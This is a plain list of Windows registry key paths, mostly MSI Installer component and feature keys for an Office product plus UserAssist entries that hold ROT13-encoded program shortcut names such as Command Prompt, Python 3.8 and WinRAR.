HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2A3522D9621824542BE9201B6F2DDC9F\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D3BA26C0F3BC5354ABD068CB040BD456\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\405D828161D13004F84FAD265C49564B\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\87576EFEB25EE0141987991144D3FBA5\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\40831BFF879672848BC2669E8847CFB3\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4BA9F1741166CD247A924875B1A7BA56\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\753C36EE30790214DA993402CF956905\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3ED3E59BE98AFEF42AEAB8C97DDCD4DC\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\822B9D4296B1C8D4597518BA6424D1A1\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\14CA65566A4DD58408504CB830B38CAB\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\879547814B54ECC4690F9B725FD47654\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F952D64B3DEF19A4FAD38302B6CA4660\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8ADD6CD0F820EFD42B8ADBD2CCD15EC3\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B456E77BA1B8626488B440A8AF2555A3\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\416B68731BF92B2499F636B3553A0D3C\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\999C517B849EA20439615E51AA3AE656\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E59338F6EAFB0A94093FEB8E7FF7A7A5\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\96DF167C86EA0ED4496BD5B6C3E9360D\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2D53A35E59196BC4CB9EBB2B7F90466D\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3688D6E93DFD30C4FA6D0A693227B421\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A6824B7CA3CD81344BA223DC591132A0\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8D3438208262B784ABE5D2A6A31EBC82\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A382922899844F74796A072912A02CAB\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\155C61ADD5EA17C4BB66F870437F1D54\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3759CDD38857F2347BB28C848A61FCD2\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0992CE675F29AC54DB19EA172353953C\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DD15F24B63AC28649BFC7494ACBDF2FC\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B96E7433D238FEC439E945B5FC6D4005\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8F3803999D48E15489E9927F65E4B8A8\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\AB0A81F4F75E17545B7C48E1C7E7B473\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\EB42C29340707D3419E80475D0890071\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DE06D63C28806BE4E9CDD593CEA3B3A5\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\99B4B15E3EE41104DBF9DCBDF15F5BED\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A0EE96A41CA6D184BBC0EB7BE5112448\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\EE24A641422783E4FBBCA7562E4DC7CA\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\BDD3BCFC777F1574FBC688622406E42D\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0EDFE841656BEAA4EB1CAABC00FAE2E8\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5A71B6B84BD09C247A7FF8FFC5CDB449\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\C52986B0EDD8A824BB6B14FC2316FA42\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2B139F4A634161043A07E405B4987B30\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9496DD01D3025E34F9523F1DB646F63B\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D1823607A1FA01A4DABBC112DA5718E1\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F2A0A9C7C475BF9498E7BB9645BE2D5D\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\87AD4024607FD6D408FE586C11504FFC\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4511FFE2A2991754EB4DF641A3CB12F0\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2FD010A9B85EF024D93EAC266EA1F644\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DA7585ECDEB6DE14AABA49140B6CA213\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\5EB28F61CD5A5C1458E9A2F4823AA6E8\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\01D7E55FB8CB1DA44A989727677444B4\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3A46C35748C407B4CA700417B94E79E6\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1F9AC742399CCE449BBE132390941E9F\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E5B36245FA4A1B24EB20EA2BB593F149\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\87ED1FF08A425B945A54D9369F57170B\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E36553C09BDF6AC4DB6C11B9CC7B719C\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\AB220E93AE895A14B8E6C02B76E46F4A\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A705783945E69294EB11B8A53BE31545\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9AF6A7745E3BE1842BF3BCAC9F1BA9CD\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D79D66C147DE18644A361A2E8BE8A234\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\772C3946B9805F240A057E81202DA281\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DEF3EB88198FD79458A7C7CAFCC5C4A0\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DA9B6CB9017891D438DCCA9FD0AB5AF2\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\BB75B80D19B65BA4CB5BEE60B984576A\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9742EE3B01740CD4C9E9B8BFE0894101\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9213F23A0763ACC469EF58F56A4907AE\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1F6C4F859A15A414B8257014CED688F2\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\OfficeDigitalSFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\OfficeDigitalSFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\361923C4E76385C438E8C873B8144CF2\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\CAGFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\CAGFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D684195474EB54A429709B62660D9368\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\04939F7CA5722D24896AEABE227F693A\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\690AAD6B02A4EFF4391276A850AD65E8\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\57FE3451A6F32BA44A467AB8768DA5C0\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\SetLanguageFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\SetLanguageFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\49686B915F2D246409E59E96ECAB6089\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\WxpFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\WxpFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\C38D8569C7FFC3A4CAE09EE12EDEFD0D\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\OISFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\OISFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\52810A6F5092B444BB85AEC32C509F75\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B78A050C551DE4846A08929C7D937B84\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\767C7256DAAC3E845B6CCFE8E3DB4D2B\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\CCC74C4A51FA56E4E9F98EBA4D289373\00004109110000000000000000F01FEC
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Vagrearg Rkcybere.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Pbzznaq Cebzcg.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Abgrcnq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Jvaqbjf Rkcybere.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Npprffvovyvgl\Zntavsl.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Npprffvovyvgl\Aneengbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Npprffvovyvgl\Ba-Fperra Xrlobneq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Npprffbevrf\Flfgrz Gbbyf\Cevingr Punenpgre Rqvgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Clguba 3.8\VQYR (Clguba 3.8 32-ovg).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Clguba 3.8\Clguba 3.8 (32-ovg).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Clguba 3.8\Clguba 3.8 Znahnyf (32-ovg).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\Clguba 3.8\Clguba 3.8 Zbqhyr Qbpf (32-ovg).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{N77S5Q77-2R2O-44P3-N6N2-NON601054N51}\JvaENE\JvaENE.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprff.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqbor Ernqre KV.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Rkpry.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Sversbk.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\TVZC 2.10.8.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Tbbtyr Puebzr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zrqvn Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zbmvyyn Guhaqreoveq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Abgrcnq++.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\BarAbgr 2016.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Bhgybbx.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\CbjreCbvag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Choyvfure.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Fvqrone.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Fxlcr sbe Ohfvarff.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jvaqbjf QIQ Znxre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jvaqbjf Snk naq Fpna.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jvaqbjf Zrqvn Cynlre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Jbeq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\KCF Ivrjre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\7-Mvc\7-Mvc Svyr Znantre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Pnyphyngbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\qvfcynlfjvgpu.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Zngu Vachg Cnary.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Zbovyvgl Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\ArgjbexCebwrpgvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Cnvag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Erzbgr Qrfxgbc Pbaarpgvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Favccvat Gbby.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Fbhaq Erpbeqre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Fgvpxl Abgrf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Flap Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jrypbzr Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jbeqcnq.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Npprffvovyvgl\Fcrrpu Erpbtavgvba.yax
